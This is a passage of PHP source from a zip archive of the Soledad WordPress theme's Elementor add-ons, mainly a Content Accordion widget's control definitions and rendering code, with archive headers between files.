                               data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>">
                                <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span>
                                <span class="ajaxdot"></span>
								<?php penci_fawesome_icon( 'fas fa-sync' ); ?>
                            </a>
                        </div>
					<?php } ?>
                </div>
            </div>
        </div>
		<?php
	}
}
PK     0w\.  .  4  elementor/modules/penci-content-accordion/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciContentAccordion;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-content-accordion';
	}

	public function get_widgets() {
		return array( 'PenciContentAccordion' );
	}
}
PK     0w\>P  P  M  elementor/modules/penci-content-accordion/widgets/penci-content-accordion.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciContentAccordion\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Utils;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Text_Stroke;
use Elementor\Repeater;
use PenciSoledadElementor\Modules\QueryControl\Controls\Penci_Group_Control_Posts;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciContentAccordion extends Base_Widget {

	public function get_name() {
		return 'penci-content-accordion';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Content Accordion', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-accordion';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'content', 'posts', 'custom', 'accordion' ];
	}

	public function get_script_depends() {
		return [ 'penci-content-accordion' ];
	}

	protected function register_controls() {

		$this->start_controls_section(
			'section_content_settings',
			[
				'label' => __( 'Content Settings', 'soledad' ),
			]
		);

		$this->add_control(
			'content_settings',
			[
				'label'          => __( 'Query Type:', 'soledad' ),
				'type'           => Controls_Manager::SELECT,
				'options'        => [
					'post'   => esc_html__( 'Based Posts', 'soledad' ),
					'custom' => esc_html__( 'Custom', 'soledad' ),
				],
				'default'        => 'post',
				'render_type'    => 'template',
				'style_transfer' => true,
			]
		);

		$this->end_controls_section();

		$this->register_query_section_controls( false, array( 'content_settings' => 'post' ) );

		$this->start_controls_section(
			'section_custom_item',
			[
				'label'     => esc_html__( 'Custom Items', 'soledad' ),
				'tab'       => Controls_Manager::TAB_CONTENT,
				'condition' => [ 'content_settings' => 'custom' ]
			]
		);

		$repeater = new Repeater();

		$repeater->start_controls_tabs( 'items_tabs_controls' );

		$repeater->start_controls_tab(
			'tab_item_content',
			[
				'label' => __( 'Content', 'soledad' ),
			]
		);

		$repeater->add_control(
			'image_accordion_title',
			[
				'label'       => __( 'Title', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'dynamic'     => [ 'active' => true ],
				'default'     => __( 'Tab Title', 'soledad' ),
				'label_block' => true,
			]
		);

		$repeater->add_control(
			'image_accordion_sub_title',
			[
				'label'       => __( 'Sub Title', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'dynamic'     => [ 'active' => true ],
				'label_block' => true,
			]
		);

		$repeater->add_control(
			'image_accordion_button',
			[
				'label'       => esc_html__( 'Button Text', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'default'     => esc_html__( 'Read More', 'soledad' ),
				'label_block' => true,
				'dynamic'     => [ 'active' => true ],
			]
		);

		$repeater->add_control(
			'button_link',
			[
				'label'         => esc_html__( 'Button Link', 'soledad' ),
				'type'          => Controls_Manager::URL,
				'default'       => [ 'url' => '#' ],
				'show_external' => false,
				'dynamic'       => [ 'active' => true ],
				'condition'     => [
					'image_accordion_button!' => ''
				]
			]
		);

		$repeater->add_control(
			'slide_image',
			[
				'label'   => esc_html__( 'Background Image', 'soledad' ),
				'type'    => Controls_Manager::MEDIA,
				'dynamic' => [ 'active' => true ],
				'default' => [
					'url' => Utils::get_placeholder_image_src(),
				],
			]
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab(
			'tab_item_content_optional',
			[
				'label' => __( 'Optional', 'soledad' ),
			]
		);

		$repeater->add_control(
			'title_link',
			[
				'label'         => esc_html__( 'Title Link', 'soledad' ),
				'type'          => Controls_Manager::URL,
				'default'       => [ 'url' => '' ],
				'show_external' => false,
				'dynamic'       => [ 'active' => true ],
				'condition'     => [
					'image_accordion_title!' => ''
				]
			]
		);

		$repeater->add_control(
			'image_accordion_text',
			[
				'type'    => Controls_Manager::WYSIWYG,
				'dynamic' => [ 'active' => true ],
				'default' => __( 'Box Content', 'soledad' ),
			]
		);

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();

		$this->add_control(
			'image_accordion_items',
			[
				'label'       => esc_html__( 'Items', 'soledad' ),
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'default'     => [
					[
						'image_accordion_sub_title' => __( 'This is a label', 'soledad' ),
						'image_accordion_title'     => __( 'Content Accordion #1', 'soledad' ),
						'image_accordion_text'      => __( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'slide_image'               => [ 'url' => Utils::get_placeholder_image_src() ]
					],
					[
						'image_accordion_sub_title' => __( 'This is a label', 'soledad' ),
						'image_accordion_title'     => __( 'Content Accordion #2', 'soledad' ),
						'image_accordion_text'      => __( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'slide_image'               => [ 'url' => Utils::get_placeholder_image_src() ]
					],
					[
						'image_accordion_sub_title' => __( 'This is a label', 'soledad' ),
						'image_accordion_title'     => __( 'Content Accordion #3', 'soledad' ),
						'image_accordion_text'      => __( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'slide_image'               => [ 'url' => Utils::get_placeholder_image_src() ]
					],
					[
						'image_accordion_sub_title' => __( 'This is a label', 'soledad' ),
						'image_accordion_title'     => __( 'Content Accordion #4', 'soledad' ),
						'image_accordion_text'      => __( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'slide_image'               => [ 'url' => Utils::get_placeholder_image_src() ]
					],
				],
				'title_field' => '{{{ image_accordion_title }}}',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_layout_hover_box',
			[
				'label' => esc_html__( 'General Settings', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			]
		);

		$this->add_responsive_control(
			'skin_type',
			[
				'label'                => __( 'Style', 'soledad' ),
				'type'                 => Controls_Manager::SELECT,
				'options'              => [
					'default'     => __( 'Horizontal', 'soledad' ),
					'vertical'    => __( 'Vertical', 'soledad' ),
				],
				'default'              => 'default',
				'tablet_default'       => 'default',
				'mobile_default'       => 'default',
				'prefix_class'         => 'pcct-ac-%s-',
				'selectors_dictionary' => [
					'default'     => 'flex-direction: unset;',
					'vertical'    => 'flex-direction: column;',
				],
				'selectors'            => [
					'{{WRAPPER}} .penci-ct-accordion' => '{{VALUE}};',
				],
				'render_type'          => 'template',
				'style_transfer'       => true,
			]
		);

		$this->add_responsive_control(
			'image_accordion_min_height',
			[
				'label'      => esc_html__( 'Height', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => [ 'px', 'em', 'vh' ],
				'range'      => [
					'px' => [
						'min' => 100,
						'max' => 1200,
					],
					'em' => [
						'min' => 10,
						'max' => 100,
					],
					'vh' => [
						'min' => 10,
						'max' => 100,
					],
				],
				'selectors'  => [
					'{{WRAPPER}} .penci-ct-accordion' => 'height: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'image_accordion_width',
			[
				'label'     => esc_html__( 'Content Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 100,
						'max' => 1200,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-content' => 'width: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'      => 'thumbnail_size',
				'label'     => esc_html__( 'Image Size', 'soledad' ),
				'exclude'   => [ 'custom' ],
				'default'   => 'full',
				'separator' => 'before'
			]
		);

		$this->add_control(
			'image_accordion_event',
			[
				'label'   => __( 'Select Event', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'mouseover',
				'options' => [
					'click'     => __( 'Click', 'soledad' ),
					'mouseover' => __( 'Hover', 'soledad' ),
				],
			]
		);

		$this->add_control(
			'divider_hr',
			[
				'type' => Controls_Manager::DIVIDER,
			]
		);

		$this->add_responsive_control(
			'items_content_align',
			[
				'label'     => __( 'Text Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => [
					'left'    => [
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-h-align-left',
					],
					'center'  => [
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-h-align-center',
					],
					'right'   => [
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-h-align-right',
					],
					'justify' => [
						'title' => __( 'Justified', 'soledad' ),
						'icon'  => 'eicon-h-align-stretch',
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-item' => 'text-align: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'items_content_vertical_align',
			[
				'label'     => __( 'Vertical Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => [
					'flex-start' => [
						'title' => __( 'Top', 'soledad' ),
						'icon'  => 'eicon-v-align-top',
					],
					'center'     => [
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-v-align-middle',
					],
					'flex-end'   => [
						'title' => __( 'Bottom', 'soledad' ),
						'icon'  => 'eicon-v-align-bottom',
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-content' => 'justify-content: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'active_item',
			[
				'label'     => esc_html__( 'Active Item', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'separator' => 'before'
			]
		);

		$this->add_control(
			'active_item_number',
			[
				'label'       => __( 'Item Number', 'soledad' ),
				'description' => __( 'Type your item number', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => 1,
				'condition'   => [
					'active_item' => 'yes'
				]
			]
		);

		$this->add_responsive_control(
			'active_item_expand',
			[
				'label'          => esc_html__( 'Active Item Column Expand', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'range'          => [
					'px' => [
						'min' => 1,
						'max' => 20,
					],
				],
				'default'        => [
					'size' => 6
				],
				'tablet_default' => [
					'size' => 6,
				],
				'mobile_default' => [
					'size' => 10,
				],
				'selectors'      => [
					'{{WRAPPER}} .penci-ct-accordion-item.active' => 'flex: {{SIZE}};',
				],
			]
		);

		$this->add_control(
			'show_title',
			[
				'label'     => esc_html__( 'Show Title', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'separator' => 'before'
			]
		);

		$this->add_control(
			'show_sub_title',
			[
				'label'   => esc_html__( 'Show Sub Title/Categories', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'show_text',
			[
				'label'   => esc_html__( 'Show Text/Post Excerpt', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'show_button',
			[
				'label'   => esc_html__( 'Show Button/Read More', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'hr',
			[
				'type' => Controls_Manager::DIVIDER,
			]
		);

		$this->add_control(
			'hide_on_mobile_title',
			[
				'label'     => esc_html__( 'Hide Title on Mobile', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'show_title' => 'yes'
				]
			]
		);

		$this->add_control(
			'hide_on_mobile_sub_title',
			[
				'label'     => esc_html__( 'Hide Sub Title on Mobile', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'show_sub_title' => 'yes'
				]
			]
		);

		$this->add_control(
			'hide_on_mobile_text',
			[
				'label'     => esc_html__( 'Hide Text on Mobile', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'show_text' => 'yes'
				]
			]
		);

		$this->add_control(
			'hide_on_mobile_button',
			[
				'label'     => esc_html__( 'Hide Button on Mobile', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'show_button' => 'yes'
				]
			]
		);

		$this->end_controls_section();

		//Style
		$this->start_controls_section(
			'section_image_accordion_style',
			[
				'label' => __( 'Content Accordion', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'image_accordion_overlay_color',
			[
				'label'     => __( 'Overlay Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-item .penci-ct-accordion-content:before' => 'background: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'tabs_content_padding',
			[
				'label'      => __( 'Content Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-ct-accordion-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_control(
			'image_accordion_divider_heading',
			[
				'label'     => __( 'Divider', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			]
		);

		$this->add_control(
			'image_accordion_divider_color',
			[
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-item:after' => 'background: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'image_accordion_divider_width',
			[
				'label'     => esc_html__( 'Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 10,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-item:after' => 'width: {{SIZE}}{{UNIT}}; right: calc(-{{SIZE}}{{UNIT}} / 2);',
				],
				'condition' => [
					'skin_type'         => [ 'default' ],
					'enable_item_style' => ''
				],
			]
		);

		$this->add_responsive_control(
			'image_accordion_divider_width_skin',
			[
				'label'       => esc_html__( 'Width', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'range'       => [
					'px' => [
						'min' => 0,
						'max' => 10,
					],
				],
				'condition'   => [
					'skin_type'         => [ 'vertical' ],
					'enable_item_style' => ''
				],
				'render_type' => 'ui',
				'selectors'   => [
					'{{WRAPPER}} .penci-ct-accordion-item:after' => '--divider-width: {{SIZE}}{{UNIT}}; --divider-bottom: -{{SIZE}}{{UNIT}};'
				],
			]
		);

		$this->add_responsive_control(
			'enable_item_style',
			[
				'label'     => esc_html__( 'Enable Item Style', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before',
			]
		);

		$this->add_responsive_control(
			'item_column_gap',
			[
				'label'     => esc_html__( 'Item Gap', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion'            => 'grid-gap: {{SIZE}}{{UNIT}};',
					'{{WRAPPER}} .penci-ct-accordion-item:after' => 'width: 0; right: 0; --divider-width: 0; --divider-bottom: -0;',
				],
				'condition' => [
					'enable_item_style' => 'yes',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'item_border',
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-ct-accordion-item',
				'condition'   => [
					'enable_item_style' => 'yes',
				],
			]
		);

		$this->add_responsive_control(
			'item_radius',
			[
				'label'      => __( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-ct-accordion-item' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
				'condition'  => [
					'enable_item_style' => 'yes',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_title',
			[
				'label'     => esc_html__( 'Title', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_title' => [ 'yes' ],
				],
			]
		);

		$this->add_control(
			'title_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion .penci-ct-accordion-title' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'title_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-title' => 'padding-bottom: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'title_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-ct-accordion-title',
			]
		);

		$this->add_group_control(
			Group_Control_Text_Stroke::get_type(),
			[
				'name'     => 'title_text_stroke',
				'label'    => __( 'Text Stroke', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-ct-accordion-title',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_sub_title',
			[
				'label'     => esc_html__( 'Sub Title', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_sub_title' => [ 'yes' ],
				],
			]
		);

		$this->add_control(
			'sub_title_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion .penci-ct-accordion-sub-title' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'sub_title_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-sub-title' => 'margin-bottom: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'sub_title_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-ct-accordion-sub-title',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_post_meta',
			[
				'label'     => esc_html__( 'Post Meta', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'content_settings' => [ 'post' ],
				],
			]
		);

		$this->add_control(
			'post_meta_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-meta span, {{WRAPPER}} .penci-ct-meta span a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'post_meta_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-meta' => 'margin-bottom: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'post_meta_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-ct-meta span,{{WRAPPER}} .penci-ct-meta a',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_description',
			[
				'label'     => esc_html__( 'Text', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_text' => [ 'yes' ],
				],
			]
		);

		$this->add_control(
			'description_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion .penci-ct-accordion-text, {{WRAPPER}} .penci-ct-accordion .penci-ct-accordion-text *' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'description_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-text' => 'padding-bottom: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'description_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-ct-accordion-text',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_button',
			[
				'label'     => esc_html__( 'Button', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_button' => 'yes',
				],
			]
		);

		$this->start_controls_tabs( 'tabs_button_style' );

		$this->start_controls_tab(
			'tab_button_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'button_text_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion .penci-ct-accordion-button a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'button_background',
				'selector' => '{{WRAPPER}} .penci-ct-accordion-button a',
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'      => 'button_border',
				'label'     => esc_html__( 'Border', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-ct-accordion-button a',
				'separator' => 'before',
			]
		);

		$this->add_responsive_control(
			'button_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-ct-accordion-button a' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
				'condition'  => [
					'border_radius_advanced_show!' => 'yes',
				],
			]
		);

		$this->add_control(
			'border_radius_advanced_show',
			[
				'label' => __( 'Advanced Radius', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			]
		);

		$this->add_responsive_control(
			'border_radius_advanced',
			[
				'label'       => esc_html__( 'Radius', 'soledad' ),
				'description' => sprintf( __( 'For example: <b>%1s</b> or Go <a href="%2s" target="_blank">this link</a> and copy and paste the radius value.', 'soledad' ), '30% 70% 82% 18% / 46% 62% 38% 54%', 'https://9elements.github.io/fancy-border-radius/' ),
				'type'        => Controls_Manager::TEXT,
				'size_units'  => [ 'px', '%' ],
				'separator'   => 'after',
				'default'     => '30% 70% 82% 18% / 46% 62% 38% 54%',
				'selectors'   => [
					'{{WRAPPER}} .penci-ct-accordion-button a' => 'border-radius: {{VALUE}}; overflow: hidden;',
				],
				'condition'   => [
					'border_radius_advanced_show' => 'yes',
				],
			]
		);

		$this->add_responsive_control(
			'button_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-ct-accordion-button a' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
				'separator'  => 'before',
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'button_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-ct-accordion-button a',
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'button_box_shadow',
				'selector' => '{{WRAPPER}} .penci-ct-accordion-button a',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_button_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'button_hover_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion .penci-ct-accordion-button a:hover' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'button_hover_background',
				'selector' => '{{WRAPPER}} .penci-ct-accordion-button a:hover',
			]
		);

		$this->add_control(
			'button_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'button_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-ct-accordion-button a:hover' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

	}

	public function render_accordion_content( $item, $title_key, $button_key ) {
		$settings = $this->get_settings_for_display();
		if ( ! empty( $item['title_link']['url'] ) ) {
			$this->add_link_attributes( $title_key, $item['title_link'] );
		}

		if ( ! empty( $item['button_link']['url'] ) ) {
			$this->add_link_attributes( $button_key, $item['button_link'] );
		}
		?>
        <div class="penci-ct-accordion-content">
			<?php if ( $item['image_accordion_sub_title'] && ( 'yes' == $settings['show_sub_title'] ) ) : ?>
                <div <?php $this->print_render_attribute_string( 'penci-ct-accordion-sub-title' ); ?>>
					<?php echo esc_html( $item['image_accordion_sub_title'] ); ?>
                </div>
			<?php endif; ?>

			<?php if ( $item['image_accordion_title'] && ( 'yes' == $settings['show_title'] ) ) : ?>
				<?php if ( '' !== $item['title_link']['url'] ) : ?>
                    <a <?php $this->print_render_attribute_string( $title_key ); ?>>
				<?php endif; ?>
                <h3 <?php $this->print_render_attribute_string( 'penci-ct-accordion-title' ); ?>>
					<?php echo esc_html( $item['image_accordion_title'] ); ?>
                </h3>
				<?php if ( '' !== $item['title_link']['url'] ) : ?>
                    </a>
				<?php endif; ?>
			<?php endif; ?>

			<?php if ( $item['image_accordion_text'] && ( 'yes' == $settings['show_text'] ) ) : ?>
                <div <?php $this->print_render_attribute_string( 'penci-ct-accordion-text' ); ?>>
					<?php echo wp_kses_post( $this->parse_text_editor( $item['image_accordion_text'] ) ); ?>
                </div>
			<?php endif; ?>

			<?php if ( $item['image_accordion_button'] && ( 'yes' == $settings['show_button'] ) ) : ?>
                <div <?php $this->print_render_attribute_string( 'penci-ct-accordion-button' ); ?>>
					<?php if ( '' !== $item['button_link']['url'] ) : ?>
                    <a <?php $this->print_render_attribute_string( $button_key ); ?>>
						<?php endif; ?>
						<?php echo wp_kses_post( $item['image_accordion_button'] ); ?>
						<?php if ( '' !== $item['button_link']['url'] ) : ?>
                    </a>
				<?php endif; ?>
                </div>
			<?php endif; ?>
        </div>
		<?php
	}

	public function render_posts() {
		$settings         = $this->get_settings_for_display();
		$original_postype = $settings['posts_post_type'];

		if ( in_array( $original_postype, [
				'current_query',
				'related_posts'
			] ) && penci_elementor_is_edit_mode() && penci_is_builder_template() ) {
			$settings['posts_post_type'] = 'post';
		}
		$archive_buider_check = $settings['posts_post_type'];

		$args = Query_Control::get_query_args( 'posts', $settings );

		$ppp = $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
		if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) ) {
			$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
			if ( 'current_query' == $original_postype ) {
				$ppp = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
			}
			$offset = 0;

			if ( $ppp ) {
				$args['posts_per_page'] = $ppp;
			}
			if ( isset( $settings['arposts_new'] ) && $settings['arposts_new'] == 'yes' ) {
				$args['paged'] = 1;
			}
			if ( 0 < $settings['offset'] ) {
				$offset = $settings['offset'];
			}

			if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
				$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
			}

			if ( $offset ) {
				$args['offset'] = $offset;
			}
		}

		$query_custom = new \WP_Query( $args );

		if ( ! $query_custom->have_posts() ) {
			echo $this->show_missing_settings( 'Content Accordion', penci_get_setting( 'penci_ajaxsearch_no_post' ) );
		}

		?>
        <div <?php $this->print_render_attribute_string( 'content-accordion' ); ?>>
			<?php
			while ( $query_custom->have_posts() ) : $query_custom->the_post();
				$slide_image = get_the_post_thumbnail_url();
				$this->add_render_attribute( 'content-accordion-item', 'class', 'penci-ct-accordion-item penci-lazy penci-image-holder', true );
				?>
				<div <?php $this->print_render_attribute_string( 'content-accordion-item' ); ?>
                            data-bgset="<?php echo esc_url( $slide_image ); ?>">
					<?php $this->show_post_content( $settings ); ?>
                </div>
				<?php
			endwhile;
			wp_reset_postdata();
			?>
        </div>
		<?php
	}

	public function show_post_content( $settings ) {
		$primary_cat = true;
		$post_meta   = $settings['postmeta'];
		?>
        <div class="penci-ct-accordion-content">
			<?php if ( 'yes' == $settings['show_sub_title'] ) : ?>
                <div <?php $this->print_render_attribute_string( 'penci-ct-accordion-sub-title' ); ?>>
					<?php penci_category( '', $primary_cat ); ?>
                </div>
			<?php endif; ?>

			<?php if ( 'yes' == $settings['show_title'] ) : ?>
